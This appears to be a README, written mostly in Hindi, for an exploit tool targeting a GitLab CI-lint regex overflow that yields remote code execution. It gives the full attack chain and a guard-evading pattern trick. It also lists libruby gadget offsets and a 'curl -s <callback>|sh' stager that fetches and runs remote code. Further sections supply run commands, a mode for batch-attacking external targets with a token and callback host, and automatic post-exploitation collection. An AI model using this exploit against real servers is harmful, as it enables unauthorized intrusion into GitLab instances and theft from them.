
CVE-2026-97229 GitLab CI lint regex integer overflow RCE — InstaBox संस्करण मैट्रिक्स पुनरुत्पादन और libruby गैजेट रिवर्स इंजीनियरिंग
केवल अधिकृत परीक्षण। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है (bug-bounty स्कोप, क्लाइंट एंगेजमेंट, आपकी अपनी लैब)। अनधिकृत उपयोग अवैध है।
एक अनप्रमाणित CI-lint अनुरोध जो Onigmo मैचर को भ्रष्ट करता है और निष्पादन को
libruby.so के भीतर एक system() गैजेट की ओर पुनर्निर्देशित करता है:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
अंतिम अनुरोध अनप्रमाणित है, लेकिन दुर्भावनापूर्ण CI कॉन्फ़िगरेशन को रखने के लिए एक सार्वजनिक प्रोजेक्ट पर लेखन पहुँच की आवश्यकता होती है (या ऐसा इंस्टेंस जो स्व-पंजीकरण और सार्वजनिक प्रोजेक्ट की अनुमति देता हो)।
| आइटम | मान |
|---|---|
| प्रभावित (परीक्षित) | 19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1 |
| शोषणीय नहीं | 19.2.8, 19.3.4 (आउटलायर, नीचे देखें), 19.3.5, 19.4.2; 19.2.3 का कोई CE इमेज नहीं है |
| ट्रिगर | अनप्रमाणित GET /api/v4/projects/:id/ci/lint |
| पूर्वापेक्षाएँ | पहुँच + सार्वजनिक प्रोजेक्ट पर लेखन (टोकन, समझौता किया गया खाता, या खुला साइन-अप) |
| प्रभाव | GitLab कंटेनर के अंदर git (uid 998) के रूप में कमांड निष्पादन |
| PoC बाधाएँ | x86_64 बिल्ड; लेआउट प्रति-libruby.so बिल्ड है, प्रति संस्करण स्ट्रिंग नहीं |
| सलाह सीमा | 19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2 |
19.3.4 को सलाह द्वारा प्रभावित के रूप में सूचीबद्ध किया गया है, लेकिन इसका बंडल किया गया
libruby.soकभी भी कमजोर विस्तार पथ में प्रवेश नहीं करता — हम इसे हथियारबंद नहीं कर सके (repro/evidence/2026-10-18-full-matrix/)।
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
क्लाउड खाता नहीं और SSH नहीं: लैब सादा Docker है (स्थानीय डेमन, DOCKER_HOST, या कोई docker context)।
Docker Desktop पर --callback-host host.docker.internal जोड़ें।
include.rules.exists.regexp और 110-बाइट का रिपॉज़िटरी पथ होता है।{5(?#)7805} के रूप में लिखा जाता है ताकि Rails-पक्ष का दोहराव गार्ड (REPEAT_MAX=1000) इसे न देख सके।call निर्देश और system@plt का ऑफ़सेट प्रदान करता है, जिससे VM का पुनर्निर्देशन होता है।curl -s <callback>|sh है, जो git सेवा उपयोगकर्ता के रूप में एक शेल देता है।./lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
लॉन्चर उन मेमोरी सेटिंग्स को लागू करता है जिनकी exploit को आवश्यकता होती है (sidekiq off, एक Puma worker, छोटे
Postgres बफ़र्स, --memory 6.5g --shm-size 256m), UI की प्रतीक्षा करता है और root पासवर्ड सेट करता है।
देखें lab/README.md / lab/README_CN.md।
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| फ़ील्ड | अर्थ |
|---|---|
http | GET /users/sign_in की स्थिति |
version | कंटेनर से पढ़ा गया GitLab संस्करण (कंटेनर एक्सेस के बिना null) |
class | सलाहकार वर्गीकरण: affected / patched / not-listed / unknown |
libruby_md5 | लक्ष्य कंटेनर के libruby.so की बिल्ड पहचान |
layout | finish / gadget / step (केवल तब जब बिल्ड ज्ञात या व्युत्पन्न हो सके) |
exploitable | क्या कोई लेआउट उपलब्ध है; class=affected का अर्थ यह नहीं है |
layout_source | table, derived, या no-overflow-in-build |
class: "unknown" का सरल अर्थ है कि कोई कंटेनर/संस्करण जानकारी उपलब्ध नहीं थी — केवल-URL लक्ष्य के लिए
टूल वर्गीकृत या लेआउट व्युत्पन्न नहीं कर सकता। नीचे "External targets" देखें।
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
सफलता मानदंड: lint dropped(HTTPError) या http(502) है और output uid=998(git) से शुरू होता है। valid:true के साथ 200 का अर्थ है कि बिल्ड असुरक्षित नहीं है।
| लाइन | शोषणीय | पैच किया गया / शोषणीय नहीं |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8; 19.2.3 में कोई CE इमेज नहीं है |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (मैचर कभी विस्तारित नहीं होता), 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
प्रति-बिल्ड साक्ष्य: repro/evidence/2026-10-18-full-matrix/
(中文)।
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container वर्तमान exploit पथ (libruby/layout + rails runner) के लिए आवश्यक है; layout उन बिल्ड्स के लिए एक वैकल्पिक ओवरराइड है जिन्हें टूल पढ़ नहीं सकता।
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
प्रत्येक लक्ष्य के लिए, क्रम में: probe → exploit → RCE पर post-exploitation
(exploit/post/collect.sh; --post-command-file से ओवरराइड करें, --no-post से अक्षम करें)।
--probe-only फिंगरप्रिंटिंग के बाद रुक जाता है। यदि किसी भी लक्ष्य ने RCE दिया तो एग्ज़िट कोड 0।
पेलोड को तीन प्रति-बिल्ड स्थिरांक चाहिए (finish, system@plt गैजेट, UTF-8 स्टेप)। रिज़ॉल्यूशन क्रम:
layout (0x… 0x… 12345);libruby.so से exploit/layout.py के माध्यम से ऑन-द-फ्लाई व्युत्पत्ति।सभी ज्ञात कमज़ोर बिल्ड केवल दो लेआउट का उपयोग करते हैं: 0x486DA9/0x31EE29/1249885 और
0x4885A9/0x31E809/1256138।
--mode external को केवल HTTP और एक PAT (api स्कोप) चाहिए: यह API के माध्यम से एक सार्वजनिक प्रोजेक्ट बनाता है,
oauth2:<token> के साथ पुश करता है, अनधिकृत lint चलाता है, और बाद में प्रोजेक्ट हटा देता है।
python3 exploit/cve97229.py --mode external --targets scope.csv \
--token glpat-... --scope scope.txt --authorized \
--callback-host 203.0.113.10 --callback-port 80